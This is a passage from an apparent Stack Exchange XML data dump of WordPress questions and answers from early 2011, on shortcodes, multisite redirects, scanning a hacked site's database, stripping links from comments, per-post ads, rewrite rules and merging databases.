times.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyways, what is it needed for a theme to recognize [gallery] (and/or other such standard shortcodes) ?&lt;/p&gt;&#xA;" OwnerUserId="456" LastEditorUserId="456" LastEditorDisplayName="" LastEditDate="2011-01-03T14:23:38.903" LastActivityDate="2011-01-04T02:14:37.757" Title="How to provide support for [gallery] shortcode?" Tags="&lt;theme-development&gt;&lt;shortcode&gt;&lt;gallery&gt;" AnswerCount="1" CommentCount="6" />
  <row Id="6260" PostTypeId="1" CreationDate="2011-01-03T13:40:31.940" Score="0" ViewCount="338" Body="&lt;p&gt;I'm on 3.04 and a run a few smaller test sites in subdomains, such as a.domain.com and b.domain.com. I'm using them mostly for testing, but since these are small sites I am thinking of keeping them there for a bit and use domain mapping to cut back on hosting on several sites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of these sites restricts access to some content based on whether a user is logged in. Problem is - when I use wp-register.php to send people to a signup page, it redirects to an mostly empty wp-signup.php page on the top domain (so a.domain.com/wp-register.php redirects to domain.com/wp-signup.php) and that's obviously not the way I would like it to happen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At this point I am not sure if this is intended WP behavior or whether I am screwed up somewhere. Thoughts and ideas are much appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;John&lt;/p&gt;&#xA;" LastActivityDate="2011-09-01T07:38:38.783" Title="Wp 3.04 -wp-register.php redirects to wp-signup" Tags="&lt;redirect&gt;&lt;registration&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="6261" PostTypeId="1" AcceptedAnswerId="6264" CreationDate="2011-01-03T14:04:38.937" Score="0" ViewCount="112" Body="&lt;p&gt;After a site of a friend has been hacked I told him he should just clean up the mess and restart from scratch so he know that no file has been altered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could scan the site for him with tools like grep an so on (For a start: &lt;a href=&quot;http://codex.wordpress.org/User%3aHakre/Grep_And_Friends&quot; rel=&quot;nofollow&quot;&gt;Grep and Friends&lt;/a&gt;) but what I wondered about is, how to scan the database? What if some hacker has placed payload inside the database. Can be something simple like XSS or even PHP code in case there is some eval'ing still going on in core (or was at the time of the hack).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions? I thought about using SQL-Queries with the LIKE comparison function or there is even some REGEX possible. But maybe someone has already done this or wants to do this an has some ideas to share.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2011-01-03T14:55:00.253" Title="Scanning Database for malicious Data" Tags="&lt;mysql&gt;&lt;sql&gt;&lt;hacked&gt;&lt;verification&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="6262" PostTypeId="2" ParentId="6223" CreationDate="2011-01-03T14:18:00.590" Score="2" ViewCount="" Body="&lt;p&gt;I don't know why somebody downvoted this question. This is a GREAT question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yeah, that's totally possible. What you would want to do is use &lt;code&gt;comment_meta&lt;/code&gt; to store the titles. You could add the new field into the form using the &lt;code&gt;'comment_form_top'&lt;/code&gt; action. It runs before name, email, and url, and still runs if the user is logged in, so you'd get the field for every user. Just echo the html directly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you'd want to hook into &lt;code&gt;'pre_comment_on_post'&lt;/code&gt; to check if there's a title. Use &lt;code&gt;wp_die()&lt;/code&gt; to exit execution if there's nothing there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should hook into the &lt;code&gt;'comment_post'&lt;/code&gt; action to save the title. That hook passes two arguments: the &lt;code&gt;comment_id&lt;/code&gt; and the comment's approval status. The only one you should need is the comment ID. Sanitize the input with &lt;code&gt;esc_attr()&lt;/code&gt; and add the comment_meta.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The last thing you might consider is adding some javascript that would automatically set the title and hide the field for comment replies. The comment reply links all have a class of &lt;code&gt;'comment-reply-link'&lt;/code&gt;, so it wouldn't be too difficult to hook in with jQuery.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps you get on the right track!&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2011-01-03T14:18:00.590" />
  <row Id="6264" PostTypeId="2" ParentId="6261" CreationDate="2011-01-03T14:55:00.253" Score="1" ViewCount="" Body="&lt;p&gt;I've read that dumping the database as text and searching in it is a good way to go. You can search with phpmyadmin, but it's limited. Depends on the size of the database and a good text editor, but you can delete post/page revisions before dumping the database to bring it down in size. Or dump a few tables at a time.&lt;/p&gt;&#xA;" OwnerUserId="268" LastActivityDate="2011-01-03T14:55:00.253" CommentCount="2" />
  <row Id="6266" PostTypeId="2" ParentId="5868" CreationDate="2011-01-03T15:46:40.673" Score="0" ViewCount="" Body="&lt;p&gt;I would actually recommend a hybrid approach - take a good theme for showcasing photos and substitute in your YouTube videos.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Photo themes give you large portions of screen real estate for imagery, and if you do it right it's not difficult to substitute an embedded object (i.e. YouTube video) for the images.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some good ones to start with:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.woothemes.com/2009/04/aperture/&quot; rel=&quot;nofollow&quot;&gt;Aperture&lt;/a&gt; by WooThemes&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.studiopress.com/themes/landscape&quot; rel=&quot;nofollow&quot;&gt;Landscape&lt;/a&gt; by StudioPress&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Alternatively, you can also find some pretty good video-specific themes that will take less work to rebuild and redesign:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.woothemes.com/2009/01/wootube/&quot; rel=&quot;nofollow&quot;&gt;WooTube&lt;/a&gt; - a YouTube clone by WooThemes&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wparchive.com/wordtube-video-wordpress-theme/&quot; rel=&quot;nofollow&quot;&gt;WordTube&lt;/a&gt; - another YouTube clone&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.themegarden.com/category/themes/by-category/video/&quot; rel=&quot;nofollow&quot;&gt;Video themes&lt;/a&gt; by ThemeGarden&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="46" LastActivityDate="2011-01-03T15:46:40.673" />
  <row Id="6267" PostTypeId="1" AcceptedAnswerId="6280" CreationDate="2011-01-03T16:30:12.233" Score="1" ViewCount="133" Body="&lt;p&gt;I am working with a magazine client who sells adversiting offline in their magazine and now has a WordPress online magazine.  Each of their stories is broken into different posts, and they are using the Wootheme Spectrum.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They want the ads in the magazine to correspond to the ads online.  So if Story B has Ad Z, then online, Post B should have Ad Z in the sidebar.  However, Story A and C might have differents ads.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's the best way to accomplish this?&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Custom plugin?&lt;/li&gt;&#xA;&lt;li&gt;Plugin?&lt;/li&gt;&#xA;&lt;li&gt;Adsense?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="2265" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2011-01-03T18:28:01.960" LastActivityDate="2011-01-04T10:29:36.337" Title="Specific and Different Ads for each Post?" Tags="&lt;sidebar&gt;&lt;ads&gt;" AnswerCount="3" />
  <row Id="6268" PostTypeId="1" AcceptedAnswerId="6272" CreationDate="2011-01-03T17:01:56.463" Score="1" ViewCount="153" Body="&lt;p&gt;I'd like to be able to filter out a commenters ability to add hyperlinks in their comment text.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I removed the &quot;websites&quot; field from the mix to reduce the amount of spammage already (see: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/3200/removing-the-website-field-from-comments-and-replies&quot;&gt;Removing the &quot;Website&quot; Field from Comments and Replies?&lt;/a&gt;&quot;) which has helped a lot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By default, they can use the '&amp;lt; a '&gt; tag to do so in the comment box text, which allows spammers to embed hyperlinks to their sites. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to filter out that capability in the wysiwyg editor for comment fields?&lt;/p&gt;&#xA;" OwnerUserId="506" LastActivityDate="2011-01-03T18:04:48.463" Title="How to remove commenters ability to add hyperlinks to comments?" Tags="&lt;comments&gt;&lt;wysiwyg&gt;&lt;filters&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" />
  <row Id="6269" PostTypeId="2" ParentId="6257" CreationDate="2011-01-03T17:13:18.920" Score="3" ViewCount="" Body="&lt;p&gt;You actually want to keep these comments marked as spam--not trashed. Akismet checks against your spam list while deciding what to do with a new comment. So having a large database of spam comments actually helps Akismet work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I get what your issue is, but what you're essentially asking for is a spam filter for your spam filter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're having trouble with a particular user, you might consider disabling their account somehow. This is pretty easily done by changing their username and password in the DB to something unguessable. This ensures that they can't sign in, and can't create another account using the same email address.&lt;/p&gt;&#xA;" OwnerUserId="1537" LastActivityDate="2011-01-03T17:13:18.920" CommentCount="3" />
  <row Id="6270" PostTypeId="2" ParentId="6267" CreationDate="2011-01-03T17:32:39.773" Score="1" ViewCount="" Body="&lt;p&gt;I'd say best way depends on:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;How many different ads&lt;/li&gt;&#xA;&lt;li&gt;How many different posts&lt;/li&gt;&#xA;&lt;li&gt;How much manual vs programmatic management&lt;/li&gt;&#xA;&lt;li&gt;Are ads managed by completely in-house staff or will there be externally accessible (like purchasing ads) aspects&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;There are plenty off-the-shelf plugins to manage advertisement, I'd try first to compile list and evaluate those.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For self-developed solution I'd consider factors above to choose:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;how to store ads (custom post type, meta fields, hardcoded list, etc)&lt;/li&gt;&#xA;&lt;li&gt;how to relate them to posts (for meta fields this solves itself, rest can get tricky)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-03T17:32:39.773" CommentCount="1" />
  <row Id="6271" PostTypeId="1" AcceptedAnswerId="6273" CreationDate="2011-01-03T17:50:16.223" Score="0" ViewCount="79" Body="&lt;p&gt;Out of the box the &lt;a href=&quot;http://p2theme.com&quot; rel=&quot;nofollow&quot;&gt;P2 Theme&lt;/a&gt; does not have search. Is there a quick and easy way to add it?&lt;/p&gt;&#xA;" OwnerUserId="89" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-04-18T13:04:22.827" LastActivityDate="2011-04-18T13:04:22.827" Title="Quick and Easy way to Add Search to the P2 Theme?" Tags="&lt;search&gt;&lt;theme-p2&gt;" AnswerCount="1" />
  <row Id="6272" PostTypeId="2" ParentId="6268" CreationDate="2011-01-03T17:52:36.220" Score="4" ViewCount="" Body="&lt;p&gt;WP runs so many prettifying filters on this stuff that it's easy to get lost.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is what I ended up with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;remove_filter('comment_text', 'make_clickable', 9);&#xA;add_filter('pre_comment_content', 'strip_comment_links');&#xA;&#xA;function strip_comment_links($content) {&#xA;&#xA;    global $allowedtags;&#xA;&#xA;    $tags = $allowedtags;&#xA;    unset($tags['a']);&#xA;    $content = addslashes(wp_kses(stripslashes($content), $tags));&#xA;&#xA;    return $content;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This scrubs out clearly defined links and removes filter that turns plain text links into properly tagged ones.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-03T17:52:36.220" CommentCount="1" />
  <row Id="6273" PostTypeId="2" ParentId="6271" CreationDate="2011-01-03T17:56:03.973" Score="1" ViewCount="" Body="&lt;p&gt;Native search widget?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.google.com/webelements/#show-custom-search&quot; rel=&quot;nofollow&quot;&gt;Google Custom Search Element&lt;/a&gt; is also quite easy to implement, but won't fit private site.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-03T17:56:03.973" CommentCount="1" />
  <row Id="6274" PostTypeId="2" ParentId="6268" CreationDate="2011-01-03T18:04:48.463" Score="1" ViewCount="" Body="&lt;p&gt;Another solution -&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The function that will remove all &lt;code&gt;&amp;lt;a&amp;gt;...&amp;lt;/a&amp;gt;&lt;/code&gt; from a text (Probably it's better to use strip_tags instead of regex here):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;     function strip_links($content){&#xA;       return preg_replace('/&amp;lt;a[^&amp;gt;]*&amp;gt;(.*)&amp;lt;\/a&amp;gt;/iU','', $content);&#xA;     }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Remove links from all new comments &lt;strong&gt;permanently&lt;/strong&gt;, before they are insterted in the db:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;     add_filter('preprocess_comment', 'new_comment_strip_links');&#xA;     function new_comment_strip_links($commentdata){&#xA;       $commentdata['comment_content'] = strip_links($commentdata['comment_content']);&#xA;       return $commentdata;&#xA;     }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or, remove links before we output them to the screen (Your theme should run the 'comment_text' filter somewhere in a template file): &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;     add_filter('comment_text', 'display_comment_strip_links');&#xA;     function display_comment_strip_links($content){&#xA;       return strip_links($content);&#xA;     }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1986" LastActivityDate="2011-01-03T18:04:48.463" CommentCount="2" />
  <row Id="6275" PostTypeId="1" AcceptedAnswerId="6276" CreationDate="2011-01-03T18:15:27.007" Score="0" ViewCount="230" Body="&lt;p&gt;I'm working an a &lt;a href=&quot;http://themeshaper.com/thematic/&quot; rel=&quot;nofollow&quot;&gt;Thematic&lt;/a&gt; child theme wherein I need to have a unique image decorating each of the site's main pages, from a pre-defined set of permanent images. It would also be ideal to have one of these same images randomly selected to appear on all other pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using a sidebar widget to load the images seems like a good option, but I don't know how to create my own widgets yet, and haven't had any luck finding a plugin which provides the simple functionality I'm looking for. I also don't want to clutter up the admin panel with plugins and options that the client shouldn't be fiddling with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think it will probably be most ideal to put something into my &lt;code&gt;functions.php&lt;/code&gt; which adds some generated markup to a Thematic hook based on the page ID, but I'm not quite sure what I'm doing, so I thought I should ask to see if someone already has a great solution.&lt;/p&gt;&#xA;" OwnerUserId="2267" LastActivityDate="2011-01-03T18:22:21.217" Title="A good way to add a different background image for each page?" Tags="&lt;hooks&gt;&lt;widgets&gt;&lt;post-thumbnails&gt;&lt;pages&gt;&lt;child-theme&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="6276" PostTypeId="2" ParentId="6275" CreationDate="2011-01-03T18:22:21.217" Score="4" ViewCount="" Body="&lt;p&gt;Looking at their &lt;a href=&quot;http://themeshaper.com/demo/thematic/?page_id=69&quot; rel=&quot;nofollow&quot;&gt;demo&lt;/a&gt; source, the easiest way to do this is by styling page classes like &lt;code&gt;pageid-69&lt;/code&gt; or &lt;code&gt;slug-example-page&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;body.slug-example-page{&#xA;  background: url(...);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If it has to be random image, add your styles in the header template so you can use PHP to generate dynamic css.&lt;/p&gt;&#xA;" OwnerUserId="1986" LastActivityDate="2011-01-03T18:22:21.217" CommentCount="1" />
  <row Id="6277" PostTypeId="1" CreationDate="2011-01-03T18:25:34.490" Score="0" ViewCount="693" Body="&lt;p&gt;How do I remove?&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&quot;Author Archives: Merms&quot;, on &lt;a href=&quot;http://shs.merms.info/author/Merms&quot; rel=&quot;nofollow&quot;&gt;http://shs.merms.info/author/Merms&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&quot;by Merms&quot;, but keep &quot;Posted on December 30, 2010&quot; on all pages&lt;/li&gt;&#xA;&lt;li&gt;Posted in Article, Awards, Employer News, Events, Resources, Uncategorized and keep &quot;Comments&quot; on all pages. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Using twenty twenty ten modified. Not using sidebar widget. &lt;/p&gt;&#xA;" OwnerUserId="2266" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-03-25T21:05:27.183" LastActivityDate="2011-03-25T21:05:27.183" Title="Remove Author, Post and Category-related Text from a Theme?" Tags="&lt;theme-twenty-ten&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="6278" PostTypeId="2" ParentId="6255" CreationDate="2011-01-03T18:26:28.577" Score="1" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@jetDL:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rather than me solve your problem may I suggest you consider using the more WordPress standard method of AJAX?&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/AJAX&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;WordPress Codex: AJAX&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/AJAX_in_Plugins&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;WordPress Codex: AJAX in Plugins&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/3610/how-to-manage-ajax-calls-and-json-in-wordpress&quot;&gt;&lt;strong&gt;How to manage ajax calls and JSON in WordPress&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.1stwebdesigner.com/wordpress/implement-ajax-wordpress-themes/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;How to Implement Ajax in WordPress Themes&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If you have follow up questions let us know.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2011-01-06T01:09:36.033" LastActivityDate="2011-01-06T01:09:36.033" CommentCount="3" />
  <row Id="6279" PostTypeId="2" ParentId="6244" CreationDate="2011-01-03T18:34:53.420" Score="1" ViewCount="" Body="&lt;p&gt;This is your code converted so it does not use global variables, and thus can't stomp on anything. If this does not work, check your plugins: maybe one of them uses a hook in &lt;code&gt;WP_Query&lt;/code&gt; to change the query on the home page? &lt;code&gt;get_posts()&lt;/code&gt; gets around that by setting &lt;code&gt;suppress_filters&lt;/code&gt; to &lt;code&gt;true&lt;/code&gt;, but I don't know whether that disables all hooks.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array(&#xA;    'meta_key'=&amp;gt;'_simple_fields_fieldGroupID_1_fieldID_8_numInSet_0',&#xA;    'post_type' =&amp;gt; 'stores',&#xA;    'post_status' =&amp;gt; 'publish',&#xA;    'posts_per_page' =&amp;gt; 10,&#xA;    'caller_get_posts'=&amp;gt; 1&#xA;);&#xA;$sidebar_posts = get_posts( $args );&#xA;if ( $sidebar_posts ) {&#xA;    // Do you want this for each post, or just once for the list?&#xA;    echo '&amp;lt;ul&amp;gt;';&#xA;    foreach ( $sidebar_posts as $s_post ) {&#xA;        echo '&amp;lt;li&amp;gt;';&#xA;        $post_link = '&amp;lt;a href=&quot;' . get_permalink( $s_post-&amp;gt;ID ) . '&quot; rel=&quot;bookmark&quot; title=&quot;Permanent link to ' . esc_attr( get_the_title( $s_post-&amp;gt;ID ) . '&quot;&amp;gt;';&#xA;        $selected_value = get_post_meta( $s_post-&amp;gt;ID, '_simple_fields_fieldGroupID_1_fieldID_9_numInSet_0', true );&#xA;        echo $post_link . $selected_value . '&amp;lt;/a&amp;gt;&amp;amp;nbsp;at&amp;amp;nbsp;';&#xA;        echo $post_link . get_the_title( $s_post-&amp;gt;ID ) . '&amp;lt;/a&amp;gt;';&#xA;        echo '&amp;lt;/li&amp;gt;';&#xA;    }&#xA;    echo '&amp;lt;/ul&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-01-03T18:34:53.420" CommentCount="6" />
  <row Id="6280" PostTypeId="2" ParentId="6267" CreationDate="2011-01-03T18:36:07.107" Score="4" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@ewakened:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The simplest solution would be to have them upload the ads as photos using the media features in WordPress and then to have them add custom field called &lt;em&gt;&quot;Advertisement&quot;&lt;/em&gt; with the URL to the ad copied from the media module, and a custom field called and &lt;em&gt;&quot;Ad URL&quot;&lt;/em&gt; to link to the advertiser's site. Then in the theme use the following to retrieve the add's URL: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;&amp;lt;?php echo get_post_meta($post-&amp;gt;ID,'Ad URL',true); ?&amp;gt;&quot;&amp;gt;&#xA;   &amp;lt;img src=&quot;&amp;lt;?php echo get_post_meta($post-&amp;gt;ID,'Advertisement',true); ?&amp;gt;&quot; /&amp;gt;&#xA;&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Beyond that is would be very possible to create a custom metabox plugin that would allow them to upload one of more ads directly into the post edit screen but that would require more programming. &lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2011-01-03T18:36:07.107" CommentCount="3" />
  <row Id="6281" PostTypeId="1" AcceptedAnswerId="6295" CreationDate="2011-01-03T18:55:21.807" Score="1" ViewCount="75" Body="&lt;p&gt;What's the easiest way to get a &lt;strong&gt;subscribe to this blog&lt;/strong&gt; for a private &lt;a href=&quot;http://p2theme.com&quot; rel=&quot;nofollow&quot;&gt;P2-Themed&lt;/a&gt; Site?  I want to have an obvious link on the page without having to modify the theme so that everyone using the site can easily see the link. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally I'd also be able to see who is subscribed and if possible subscribe them myself &lt;em&gt;(it's the team members for the project I want to make sure are subscribed.)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suggestion for the best plugin for this?&lt;/p&gt;&#xA;" OwnerUserId="89" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-04-18T13:04:18.537" LastActivityDate="2011-04-18T13:04:18.537" Title="Subscribe to this Blog for a Private P2 Themed Site?" Tags="&lt;plugin-recommendation&gt;&lt;email&gt;&lt;subscription&gt;&lt;theme-p2&gt;" AnswerCount="1" />
  <row Id="6282" PostTypeId="1" AcceptedAnswerId="6283" CreationDate="2011-01-03T18:57:29.780" Score="0" ViewCount="272" Body="&lt;p&gt;How to install &lt;a href=&quot;http://ios.wordpress.org/&quot; rel=&quot;nofollow&quot;&gt;Wordpress for ios&lt;/a&gt; on Apple's SDK's iPhone/iPad simulator? and what are other ways to make Wordpress Admin compatible with iphone?&lt;/p&gt;&#xA;" OwnerUserId="32" LastEditorUserId="32" LastEditorDisplayName="" LastEditDate="2011-01-03T19:13:52.877" LastActivityDate="2011-01-03T19:15:36.037" Title="How to install &quot;Wordpress for ios&quot; on Apple's SDK's iPhone/iPad simulator?" Tags="&lt;3.0&gt;&lt;iphone&gt;" AnswerCount="1" />
  <row Id="6283" PostTypeId="2" ParentId="6282" CreationDate="2011-01-03T19:15:36.037" Score="0" ViewCount="" Body="&lt;p&gt;This seems to be &lt;a href=&quot;http://stackoverflow.com/questions/1187611/how-to-install-iphone-application-in-iphone-simulator&quot;&gt;answered on Stack Overflow&lt;/a&gt;. The accepted answer refers to &lt;a href=&quot;http://forums.macrumors.com/showthread.php?t=547557&quot; rel=&quot;nofollow&quot;&gt;a thread on the MacRumors forum&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-01-03T19:15:36.037" CommentCount="2" />
  <row Id="6284" PostTypeId="1" AcceptedAnswerId="6288" CreationDate="2011-01-03T19:42:13.673" Score="1" ViewCount="266" Body="&lt;p&gt;I'm running into circles trying to set up a simple rewrite rule, and thought I'd run the question by some of the rewrite experts here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a custom post type, &quot;mealplan&quot;, and I'm trying to implement a basic url rewrite where visitng &lt;code&gt;site.com/mealplan/current&lt;/code&gt; will take the visitor to the most recent post of type &quot;mealplan&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried using several variants on this rule:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $wp_rewrite;&#xA;$wp_rewrite-&amp;gt;add_rule('mealplan/current', &#xA;  'index.php?post_type=mealplan&amp;amp;numberposts=1&amp;amp;orderby=date&amp;amp;order=DESC', &#xA;  'top' ); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;... but I can't seem to get either the 'numberposts' or the 'posts_per_page' parameters to do anything in the query string like that.  It just goes straight to the archive page with the default number of posts per page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This does what I want:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $wp_rewrite;&#xA;$current_mealplan = get_posts( array(&#xA;  'post_type'=&amp;gt;'mealplan',&#xA;  'numberposts'=&amp;gt;1,&#xA;  'orderby'=&amp;gt;'date',&#xA;  'order'=&amp;gt;'DESC' ) );&#xA;$wp_rewrite-&amp;gt;add_rule('mealplan/current', &#xA;  'index.php?post_type=mealplan&amp;amp;post_id='.$current_mealplan[0]-&amp;gt;ID, &#xA;  'top');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...but at the cost of an additional query and a potential flush rules on every page load. Even if I optimize this by saving the current post ID in an option that's updated on &lt;code&gt;update_post&lt;/code&gt; (so rules only have to be flushed when they change), this feels like unnecessary work that could be avoided if I could only get the url parameters above to work correctly.&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2011-01-03T23:42:58.300" Title="Can 'numberposts' be passed in the URL query string?" Tags="&lt;url-rewriting&gt;&lt;query-string&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="6285" PostTypeId="2" ParentId="6260" CreationDate="2011-01-03T20:06:13.997" Score="0" ViewCount="" Body="&lt;p&gt;Are these subdomain sites copies of the top-level site? Like, you're using them as staging sites? Or are they completely separate installs of completely separate sites and DBs?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If they're copies (you created the subsites site using copies of the top-level site's DB), you probably just need to search the DB of the offending site for instances of the top-level URL. It happens all the time when copying WordPress DBs that old URLs remain unchanged in some places. It's hard to find them all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It could also be that something in your htaccess file is hijacking the wp-register request. You might want to look at that too.&lt;/p&gt;&#xA;" OwnerUserId="1537" LastActivityDate="2011-01-03T20:06:13.997" />
  <row Id="6286" PostTypeId="1" AcceptedAnswerId="6287" CreationDate="2011-01-03T20:22:11.660" Score="1" ViewCount="138" Body="&lt;p&gt;I have two Wordpress installs, both with a little bit of different data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a LIVE site and I have a DEV Site. I need to merge the content of these two databases together to make a STAGING Site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to merge the new Posts/Pages/Comments/Categories from DEV to a LIVE database backup, and then make that database become STAGING. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is best, easiest, and least time consuming way of tackling this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NOTE: XML Importer will not work for this task as the amount of data is too large.&lt;/p&gt;&#xA;" OwnerUserId="1354" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-01-11T07:41:56.367" LastActivityDate="2011-01-11T07:41:56.367" Title="Best Way to Merge a Dev and Live Site to Become a Staging Site?" Tags="&lt;sql&gt;&lt;deploy&gt;&lt;merging&gt;" AnswerCount="1" />
